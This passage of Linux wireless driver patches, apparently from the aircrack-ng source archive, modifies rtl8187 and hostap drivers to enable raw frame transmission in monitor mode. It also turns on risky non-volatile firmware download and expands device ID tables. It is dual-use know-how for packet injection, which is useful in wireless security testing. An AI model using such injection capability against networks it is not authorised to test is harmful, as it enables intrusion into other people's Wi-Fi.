MOREFRAGS * bit to the frame control */ if (i != nr_frags - 1) { frag_hdr->frame_ctl = cpu_to_le16( fc | IEEE80211_FCTL_MOREFRAGS); bytes = bytes_per_frag; - + } else { /* The last fragment takes the remaining length */ bytes = bytes_last_frag; } - + frag_hdr->seq_ctl = cpu_to_le16(ieee->seq_ctrl<<4 | i); - - + + /* Put a SNAP header on the first fragment */ if (i == 0) { - ieee80211_put_snap( + ieee80211_put_snap_rtl7( skb_put(skb_frag, SNAP_SIZE + sizeof(u16)), ether_type); bytes -= SNAP_SIZE + sizeof(u16); } - + memcpy(skb_put(skb_frag, bytes), skb->data, bytes); - + /* Advance the SKB... */ skb_pull(skb, bytes); - + /* Encryption routine will move the header forward in order * to insert the IV between the header and the payload */ if (encrypt) - ieee80211_encrypt_fragment(ieee, skb_frag, hdr_len); + ieee80211_encrypt_fragment_rtl7(ieee, skb_frag, hdr_len); if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) skb_put(skb_frag, 4); } - // Advance sequence number in data frame. + // Advance sequence number in data frame. if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - - txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); + + txb = ieee80211_alloc_txb_rtl7(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); goto failed; } - + txb->encrypted = 0; txb->payload_size = skb->len; memcpy(skb_put(txb->fragments[0],skb->len), skb->data, skb->len); - } + } success: spin_unlock_irqrestore(&ieee->lock, flags); dev_kfree_skb_any(skb); if (txb) { if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE){ - ieee80211_softmac_xmit(txb, ieee); + ieee80211_softmac_xmit_rtl7(txb, ieee); }else{ if ((*ieee->hard_start_xmit)(txb, dev) == 0) { stats->tx_packets++; stats->tx_bytes += txb->payload_size; return 0; } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); } - - + + } return 0; @@ -504,4 +510,4 @@ } -EXPORT_SYMBOL(ieee80211_txb_free); +EXPORT_SYMBOL(ieee80211_txb_free_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_wx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_wx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_wx.c 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_wx.c 2008-01-30 17:38:11.000000000 +0100 @@ -40,7 +40,7 @@ }; #define MAX_CUSTOM_LEN 64 -static inline char *ipw2100_translate_scan(struct ieee80211_device *ieee, +static inline char *ipw2100_translate_scan_rtl7(struct ieee80211_device *ieee, char *start, char *stop, struct ieee80211_network *network) { @@ -207,7 +207,7 @@ return start; } -int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -220,13 +220,14 @@ IEEE80211_DEBUG_WX("Getting scan\n"); down(&ieee->wx_sem); + printk("GOT WX GET SCAN WX_SEM LOCK"); spin_lock_irqsave(&ieee->lock, flags); list_for_each_entry(network, &ieee->network_list, list) { i++; if (ieee->scan_age == 0 || time_after(network->last_scanned + ieee->scan_age, jiffies)) - ev = ipw2100_translate_scan(ieee, ev, stop, network); + ev = ipw2100_translate_scan_rtl7(ieee, ev, stop, network); else IEEE80211_DEBUG_SCAN( "Not showing network '%s (" @@ -247,7 +248,7 @@ return 0; } -int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -259,6 +260,9 @@ int i, key, key_provided, len; struct ieee80211_crypt_data **crypt; + if (erq->flags & IW_ENCODE_RESTRICTED) + return -EINVAL; + IEEE80211_DEBUG_WX("SET_ENCODE\n"); key = erq->flags & IW_ENCODE_INDEX; @@ -281,7 +285,7 @@ if (key_provided && *crypt) { IEEE80211_DEBUG_WX("Disabling encryption on key %d.\n", key); - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } else IEEE80211_DEBUG_WX("Disabling encryption.\n"); @@ -291,7 +295,7 @@ if (ieee->crypt[i] != NULL) { if (key_provided) break; - ieee80211_crypt_delayed_deinit( + ieee80211_crypt_delayed_deinit_rtl7( ieee, &ieee->crypt[i]); } } @@ -314,7 +318,7 @@ strcmp((*crypt)->ops->name, "WEP") != 0) { /* changing to use WEP; deinit previously used algorithm * on this key */ - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } if (*crypt == NULL) { @@ -326,10 +330,10 @@ if (new_crypt == NULL) return -ENOMEM; memset(new_crypt, 0, sizeof(struct ieee80211_crypt_data)); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); if (!new_crypt->ops) { - request_module("ieee80211_crypt_wep"); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + request_module("ieee80211_crypt_wep_rtl"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); } if (new_crypt->ops && try_module_get(new_crypt->ops->owner)) @@ -340,7 +344,7 @@ new_crypt = NULL; printk(KERN_WARNING "%s: could not initialize WEP: " - "load module ieee80211_crypt_wep\n", + "load module ieee80211_crypt_wep_rtl\n", dev->name); return -EOPNOTSUPP; } @@ -418,7 +422,7 @@ return 0; } -int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -430,7 +434,7 @@ if(ieee->iw_mode == IW_MODE_MONITOR) return -1; - + key = erq->flags & IW_ENCODE_INDEX; if (key) { if (key > WEP_KEYS) @@ -470,6 +474,6 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_scan); -EXPORT_SYMBOL(ieee80211_wx_set_encode); -EXPORT_SYMBOL(ieee80211_wx_get_encode); +EXPORT_SYMBOL(ieee80211_wx_get_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_encode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_encode_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/Makefile rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Makefile --- rtl8187_linux_26.1010.0622.2006/ieee80211/Makefile 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Makefile 2008-01-30 17:38:11.000000000 +0100 @@ -17,6 +17,7 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) all: modules diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/Modules.symvers rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Modules.symvers --- rtl8187_linux_26.1010.0622.2006/ieee80211/Modules.symvers 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Modules.symvers 1970-01-01 01:00:00.000000000 +0100 @@ -1,43 +0,0 @@ -0x232e7944 ieee80211_wlan_frequencies /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xaeae102f free_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x279e265f ieee80211_crypt_deinit_handler net/ieee80211/ieee80211_crypt -0xc2411d91 ieee80211_stop_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6ece20e1 ieee80211_wx_get_name_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x5d3847ff ieee80211_rx_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x18612027 ieee80211_wx_get_scan_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xa0e03ce1 ieee80211_wx_get_name /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xee25f349 ieee80211_wx_get_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x86013c3d ieee80211_wx_set_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x04493cc0 ieee80211_wx_get_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6c6df3b4 ieee80211_wx_set_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x82caec02 ieee80211_crypt_deinit_entries net/ieee80211/ieee80211_crypt -0x347945bf ieee80211_wx_get_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6379d455 ieee80211_wx_set_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xae62ed59 ieee80211_wx_set_scan /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6621e172 ieee80211_wx_set_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x0e052e06 ieee80211_wx_get_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x283f9f5d ieee80211_unregister_crypto_ops net/ieee80211/ieee80211_crypt -0x9da79aac ieee80211_is_shortslot /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x666032dc ieee80211_wx_get_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9f1cbe0e ieee80211_wx_set_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x73d1d341 ieee80211_wx_set_rawtx /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2c714184 ieee80211_is_54g /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6892d598 ieee80211_wpa_supplicant_ioctl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc062f1f5 ieee80211_ps_tx_ack /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x55534906 ieee80211_get_beacon /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xe2679638 ieee80211_crypt_delayed_deinit net/ieee80211/ieee80211_crypt -0x3a0456bc free_ieee80211 net/ieee80211/ieee80211 -0x7e1ef2c8 ieee80211_wake_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc1b81e9f ieee80211_register_crypto_ops net/ieee80211/ieee80211_crypt -0x3f795a39 alloc_ieee80211 net/ieee80211/ieee80211 -0x89803c23 ieee80211_get_crypto_ops net/ieee80211/ieee80211_crypt -0xc6caf2a4 ieee80211_txb_free net/ieee80211/ieee80211 -0x49c1422c ieee80211_rx_mgt net/ieee80211/ieee80211 -0xbf2b4ebd alloc_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0xd155f7b8 ieee80211_softmac_stop_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9ce2dcde ieee80211_softmac_start_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x00d74bba ieee80211_wx_get_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x92b5d996 ieee80211_wx_set_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2ac9bf95 ieee80211_wx_set_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x7dc92e7f ieee80211_wx_get_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xd04740ca ieee80211_reset_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl diff -Naur rtl8187_linux_26.1010.0622.2006/Makefile rtl8187_linux_26.1010.0622.2006_rawtx/Makefile --- rtl8187_linux_26.1010.0622.2006/Makefile 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_linux_26.1010.0622.2006_rawtx/Makefile 2008-01-30 17:39:29.000000000 +0100 @@ -0,0 +1,38 @@ +prefix = /lib/modules/$(shell uname -r)/kernel/drivers/net/wireless +r8187dir = $(prefix)/rtl8187 +ieeedir = $(prefix)/rtl_ieee80211 + +default: all + +all: + -rm -f ieee80211/Module.symvers 2>/dev/null + -rm -f ieee80211/Modules.symvers 2>/dev/null + $(MAKE) -C ieee80211 $(@) + -chmod +x symvers + -./symvers + $(MAKE) -C beta-8187 $(@) + +install: + install -d $(ieeedir) + install -d $(r8187dir) + install -m 644 ./ieee80211/*.ko $(ieeedir) + install -m 644 ./beta-8187/*.ko $(r8187dir) + -depmod -ae + +uninstall: + -rm -f $(ieeedir)/ieee80211-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_ccmp-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_tkip-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_wep-rtl.ko + -rm -f $(r8187dir)/r8187.ko + -rm -fr $(ieeedir) + -rm -fr $(r8187dir) + -depmod -ae + +clean: + $(MAKE) -C ieee80211 $(@) + $(MAKE) -C beta-8187 $(@) + +distclean: clean + diff -Naur rtl8187_linux_26.1010.0622.2006/symvers rtl8187_linux_26.1010.0622.2006_rawtx/symvers --- rtl8187_linux_26.1010.0622.2006/symvers 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_linux_26.1010.0622.2006_rawtx/symvers 2008-01-30 17:38:11.000000000 +0100 @@ -0,0 +1,25 @@ +#!/bin/sh + +cd beta-8187 + +if [ -e Module.symvers ] +then + rm Module.symvers +fi + +if [ -e Modules.symvers ] +then + rm Modules.symvers +fi + +if [ -e ../ieee80211/Module.symvers ] +then + ln -sf ../ieee80211/Module.symvers ./ +fi + +if [ -e ../ieee80211/Modules.symvers ] +then + ln -sf ../ieee80211/Modules.symvers ./ +fi + +cd .. diff -Naur rtl8187_linux_26.1010.0622.2006/wlan0rmv rtl8187_linux_26.1010.0622.2006_rawtx/wlan0rmv --- rtl8187_linux_26.1010.0622.2006/wlan0rmv 2006-09-05 07:21:10.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/wlan0rmv 2008-01-30 17:38:11.000000000 +0100 @@ -1,5 +1,9 @@ #!/bin/bash -rmmod r8180 -rmmod ieee80211_r8180 -rmmod ieee80211_crypt_r8180 +rmmod rtl8187 2>/dev/null +rmmod r8187 2>/dev/null +rmmod ieee80211_rtl 2>/dev/null +rmmod ieee80211_crypt_ccmp_rtl 2>/dev/null +rmmod ieee80211_crypt_tkip_rtl 2>/dev/null +rmmod ieee80211_crypt_wep_rtl 2>/dev/null +rmmod ieee80211_crypt_rtl 2>/dev/null aircrack-ng-1.2-beta3/patches/old/hostap-driver-0.4.5.patch0000644000000000000000000004453310761053203021714 0ustar rootrootdiff -ur ../hostap-driver-0.4.5/driver/etc/hostap_cs.conf ./driver/etc/hostap_cs.conf --- ../hostap-driver-0.4.5/driver/etc/hostap_cs.conf 2005-05-23 18:01:03.000000000 +0200 +++ ./driver/etc/hostap_cs.conf 2005-11-21 13:49:16.000000000 +0100 @@ -102,17 +102,17 @@ card "Level-One WPC-0100" version "Digital Data Communications", "WPC-0100", "Version 00.00" - manfid 0x0156, 0x0002 +# manfid 0x0156, 0x0002 bind "hostap_cs" card "Belkin 802.11b WLAN PCMCIA" version "Belkin", "11Mbps Wireless Notebook Network Adapter", "Version 01.02" - manfid 0x0156, 0x0002 +# manfid 0x0156, 0x0002 bind "hostap_cs" card "Senao SL-2011CD/SL-2011CDPLUS" version "INTERSIL", "HFA384x/IEEE", "Version 01.02" - manfid 0x0156, 0x0002 +# manfid 0x0156, 0x0002 bind "hostap_cs" card "Fulbond Airbond XI-300B" diff -ur ../hostap-driver-0.4.5/driver/modules/hostap_80211_tx.c ./driver/modules/hostap_80211_tx.c --- ../hostap-driver-0.4.5/driver/modules/hostap_80211_tx.c 2005-08-06 19:55:14.000000000 +0200 +++ ./driver/modules/hostap_80211_tx.c 2005-11-21 13:49:16.000000000 +0100 @@ -51,6 +51,9 @@ int to_assoc_ap = 0; struct hostap_skb_tx_data *meta; + if (local->iw_mode == IW_MODE_MONITOR) + goto xmit; + if (skb->len < ETH_HLEN) { printk(KERN_DEBUG "%s: hostap_data_start_xmit: short skb " "(len=%d)\n", dev->name, skb->len); @@ -216,6 +219,7 @@ memcpy(skb_put(skb, ETH_ALEN), &hdr.addr4, ETH_ALEN); } +xmit: iface->stats.tx_packets++; iface->stats.tx_bytes += skb->len; @@ -377,8 +381,6 @@ } if (skb->len < 24) { - printk(KERN_DEBUG "%s: hostap_master_start_xmit: short skb " - "(len=%d)\n", dev->name, skb->len); ret = 0; iface->stats.tx_dropped++; goto fail; diff -ur ../hostap-driver-0.4.5/driver/modules/hostap.c ./driver/modules/hostap.c --- ../hostap-driver-0.4.5/driver/modules/hostap.c 2005-08-06 19:47:10.000000000 +0200 +++ ./driver/modules/hostap.c 2005-11-21 13:49:16.000000000 +0100 @@ -407,7 +407,7 @@ if (local->iw_mode == IW_MODE_REPEAT) return HFA384X_PORTTYPE_WDS; if (local->iw_mode == IW_MODE_MONITOR) - return HFA384X_PORTTYPE_PSEUDO_IBSS; + return 5; /*HFA384X_PORTTYPE_PSEUDO_IBSS;*/ return HFA384X_PORTTYPE_HOSTAP; } diff -ur ../hostap-driver-0.4.5/driver/modules/hostap_config.h ./driver/modules/hostap_config.h --- ../hostap-driver-0.4.5/driver/modules/hostap_config.h 2005-09-26 03:42:30.000000000 +0200 +++ ./driver/modules/hostap_config.h 2005-11-21 13:49:16.000000000 +0100 @@ -59,7 +59,7 @@ * In addition, please note that it is possible to kill your card with * non-volatile download if you are using incorrect image. This feature has not * been fully tested, so please be careful with it. */ -/* #define PRISM2_NON_VOLATILE_DOWNLOAD */ +#define PRISM2_NON_VOLATILE_DOWNLOAD #endif /* PRISM2_DOWNLOAD_SUPPORT */ /* Include wireless extensions sub-ioctl support even if wireless extensions diff -ur ../hostap-driver-0.4.5/driver/modules/hostap_cs.c ./driver/modules/hostap_cs.c --- ../hostap-driver-0.4.5/driver/modules/hostap_cs.c 2005-09-18 05:51:09.000000000 +0200 +++ ./driver/modules/hostap_cs.c 2005-11-21 16:23:02.000000000 +0100 @@ -929,51 +929,97 @@ #if LINUX_VERSION_CODE > KERNEL_VERSION(2,5,67) #if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,13)) static struct pcmcia_device_id hostap_cs_ids[] = { - PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7100), - PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7300), - PCMCIA_DEVICE_MANF_CARD(0x0101, 0x0777), - PCMCIA_DEVICE_MANF_CARD(0x0126, 0x8000), - PCMCIA_DEVICE_MANF_CARD(0x0138, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x0156, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x0250, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1612), - PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1613), - PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x02aa, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x02d2, 0x0001), - PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x0001), - PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x7300), - PCMCIA_DEVICE_MANF_CARD(0xc00f, 0x0000), - PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0005), - PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0010), - PCMCIA_MFC_DEVICE_PROD_ID12(0, "SanDisk", "ConnectPlus", - 0x7a954bd9, 0x74be00c6), - PCMCIA_DEVICE_PROD_ID1234( - "Intersil", "PRISM 2_5 PCMCIA ADAPTER", "ISL37300P", - "Eval-RevA", - 0x4b801a17, 0x6345a0bf, 0xc9049a39, 0xc23adc0e), - PCMCIA_DEVICE_PROD_ID123( - "Addtron", "AWP-100 Wireless PCMCIA", "Version 01.02", - 0xe6ec52ce, 0x08649af2, 0x4b74baa0), - PCMCIA_DEVICE_PROD_ID123( - "D", "Link DWL-650 11Mbps WLAN Card", "Version 01.02", - 0x71b18589, 0xb6f1b0ab, 0x4b74baa0), - PCMCIA_DEVICE_PROD_ID123( - "Instant Wireless ", " Network PC CARD", "Version 01.02", - 0x11d901af, 0x6e9bd926, 0x4b74baa0), - PCMCIA_DEVICE_PROD_ID123( - "SMC", "SMC2632W", "Version 01.02", - 0xc4f8b18b, 0x474a1f2a, 0x4b74baa0), - PCMCIA_DEVICE_PROD_ID12("Compaq", "WL200_11Mbps_Wireless_PCI_Card", - 0x54f7c49c, 0x15a75e5b), - PCMCIA_DEVICE_PROD_ID12("INTERSIL", "HFA384x/IEEE", - 0x74c5e40d, 0xdb472a18), - PCMCIA_DEVICE_PROD_ID12("Linksys", "Wireless CompactFlash Card", - 0x0733cc81, 0x0c52f395), - PCMCIA_DEVICE_PROD_ID12( - "ZoomAir 11Mbps High", "Rate wireless Networking", - 0x273fe3db, 0x32a1eaee), + PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7100), // SonicWALL Long Range Wireless Card + PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7110), // D-Link DWL-650 rev P 802.11b WLAN card + PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7300), // Sohoware NCP110, Philips 802.11b +// PCMCIA_DEVICE_MANF_CARD(0x0089, 0x0001), // Intel PRO/Wireless 2011 (Symbol24) + PCMCIA_DEVICE_MANF_CARD(0x0089, 0x0002), // AnyPoint(TM) Wireless II PC Card + PCMCIA_DEVICE_MANF_CARD(0x0101, 0x0777), // 3Com AirConnect PCI 777A + PCMCIA_DEVICE_MANF_CARD(0x0126, 0x8000), // PROXIM RangeLAN-DS/LAN PC CARD + PCMCIA_DEVICE_MANF_CARD(0x0138, 0x0002), // Compaq WL100 11 Mbps Wireless Adapter +// PCMCIA_DEVICE_MANF_CARD(0x0156, 0x0002), // Mostly Lucent Orinoco (HermesI), but also some Prism2 :( +// PCMCIA_DEVICE_MANF_CARD(0x016b, 0x0001), // Ericsson WLAN Card C11 (Symbol24) +// PCMCIA_DEVICE_MANF_CARD(0x01eb, 0x080a), // Nortel eMobility 802.11 Wireless Adapter (Symbol24) + PCMCIA_DEVICE_MANF_CARD(0x01ff, 0x0008), // Intermec MobileLAN 11Mbps 802.11b WLAN Card + PCMCIA_DEVICE_MANF_CARD(0x0250, 0x0002), // Samsung SWL2000-N 11Mb/s WLAN Card +// PCMCIA_DEVICE_MANF_CARD(0x0261, 0x0002), // AirWay 802.11 Adapter (HermesI) +// PCMCIA_DEVICE_MANF_CARD(0x0268, 0x0001), // ARtem Onair (HermesI) +// PCMCIA_DEVICE_MANF_CARD(0x026c, 0x0001), // Symbol Technologies LA4111 (Symbol24) + PCMCIA_DEVICE_MANF_CARD(0x026f, 0x0305), // Buffalo WLI-PCM-S11 + PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1612), // Linksys WPC11 Version 2.5 + PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1613), // Linksys WPC11 Version 3 + PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0002), // Compaq HNW-100 11 Mbps Wireless Adapter + PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0673), // Linksys WCF12 11Mbps 802.11b WLAN Card (Prism 3) + PCMCIA_DEVICE_MANF_CARD(0x02aa, 0x0002), // ASUS SpaceLink WL-100 + PCMCIA_DEVICE_MANF_CARD(0x02ac, 0x0002), // SpeedStream SS1021 Wireless Adapter + PCMCIA_DEVICE_MANF_CARD(0x02ac, 0x3021), // SpeedStream SS1021 Wireless Adapter (newer) + PCMCIA_DEVICE_MANF_CARD(0x02d2, 0x0001), // Microsoft Wireless Notebook Adapter MN-520 + PCMCIA_DEVICE_MANF_CARD(0x14ea, 0xb001), // PLANEX RoadLannerWave GW-NS11H + PCMCIA_DEVICE_MANF_CARD(0x1668, 0x0101), // ActionTec 802CI2/HCW01170-01 + PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x0001), // Airvast ? + PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x7300), // Airvast WN-100 + PCMCIA_DEVICE_MANF_CARD(0x9005, 0x0021), // Adaptec Ultra Wireless ANW-8030 + PCMCIA_DEVICE_MANF_CARD(0xc001, 0x0008), // CONTEC FLEXSCAN/FX-DDS110-PCC + PCMCIA_DEVICE_MANF_CARD(0xc00f, 0x0000), // Corega KK Wireless LAN PCC-11 + PCMCIA_DEVICE_MANF_CARD(0xc250, 0x0002), // Conceptronic CON11Cpro, EMTAC A2424i + PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0002), // Safeway 802.11b, ZCOMAX AirRunner/XI-300 + PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0005), // D-Link DCF660, ZCOMAX XI-325HP 200mw + PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0010), // SMC2532W-B V2 + + PCMCIA_MFC_DEVICE_PROD_ID12(0, "SanDisk", "ConnectPlus", 0x7a954bd9, 0x74be00c6), + PCMCIA_DEVICE_PROD_ID12(" ", "IEEE 802.11 Wireless LAN/PC Card", 0x3b6e20c8, 0xefccafe9), +// PCMCIA_DEVICE_PROD_ID12("3Com", "3CRWE737A AirConnect Wireless LAN PC Card", 0x41240e5b, 0x56010af3), // Symbol24 + PCMCIA_DEVICE_PROD_ID12("ACTIONTEC", "PRISM Wireless LAN PC Card", 0x393089da, 0xa71e69d5), + PCMCIA_DEVICE_PROD_ID123("Addtron", "AWP-100 Wireless PCMCIA", "Version 01.02", 0xe6ec52ce, 0x08649af2, 0x4b74baa0), + PCMCIA_DEVICE_PROD_ID123("AIRVAST", "IEEE 802.11b Wireless PCMCIA Card", "HFA3863", 0xea569531, 0x4bcb9645, 0x355cb092), + PCMCIA_DEVICE_PROD_ID12("Allied Telesyn", "AT-WCL452 Wireless PCMCIA Radio", 0x5cd01705, 0x4271660f), + PCMCIA_DEVICE_PROD_ID12("ASUS", "802_11b_PC_CARD_25", 0x78fc06ee, 0xdb9aa842), + PCMCIA_DEVICE_PROD_ID12("ASUS", "802_11B_CF_CARD_25", 0x78fc06ee, 0x45a50c1e), +// PCMCIA_DEVICE_PROD_ID12("Avaya Communication", "Avaya Wireless PC Card", 0xd8a43b78, 0x0d341169), // HermesI + PCMCIA_DEVICE_PROD_ID12("BENQ", "AWL100 PCMCIA ADAPTER", 0x35dadc74, 0x01f7fedb), +// PCMCIA_DEVICE_PROD_ID12("BUFFALO", "WLI-PCM-L11G", 0x2decece3, 0xf57ca4b3), // HermesI + PCMCIA_DEVICE_PROD_ID12("BUFFALO", "WLI-CF-S11G", 0x2decece3, 0x82067c18), +// PCMCIA_DEVICE_PROD_ID12("Cabletron", "RoamAbout 802.11 DS", 0x32d445f5, 0xedeffd90), // HermesI + PCMCIA_DEVICE_PROD_ID12("Compaq", "WL200_11Mbps_Wireless_PCI_Card", 0x54f7c49c, 0x15a75e5b), + PCMCIA_DEVICE_PROD_ID123("corega", "WL PCCL-11", "ISL37300P", 0x0a21501a, 0x59868926, 0xc9049a39), + PCMCIA_DEVICE_PROD_ID12("corega K.K.", "Wireless LAN PCC-11", 0x5261440f, 0xa6405584), + PCMCIA_DEVICE_PROD_ID12("corega K.K.", "Wireless LAN PCCA-11", 0x5261440f, 0xdf6115f9), + PCMCIA_DEVICE_PROD_ID12("D", "Link DRC-650 11Mbps WLAN Card", 0x71b18589, 0xf144e3ac), + PCMCIA_DEVICE_PROD_ID123("D", "Link DWL-650 11Mbps WLAN Card", "Version 01.02", 0x71b18589, 0xb6f1b0ab, 0x4b74baa0), +// PCMCIA_DEVICE_PROD_ID12("D-Link Corporation", "D-Link DWL-650H 11Mbps WLAN Adapter", 0xef544d24, 0xcd8ea916), // Symbol24 + PCMCIA_DEVICE_PROD_ID12("Digital Data Communications", "WPC-0100", 0xfdd73470, 0xe0b6f146), +// PCMCIA_DEVICE_PROD_ID12("ELSA", "AirLancer MC-11", 0x4507a33a, 0xef54f0e3), // HermesI + PCMCIA_DEVICE_PROD_ID12("HyperLink", "Wireless PC Card 11Mbps", 0x56cc3f1a, 0x0bcf220c), + PCMCIA_DEVICE_PROD_ID123("Instant Wireless ", " Network PC CARD", "Version 01.02", 0x11d901af, 0x6e9bd926, 0x4b74baa0), +// PCMCIA_DEVICE_PROD_ID12("Intel", "PRO/Wireless 2011 LAN PC Card", 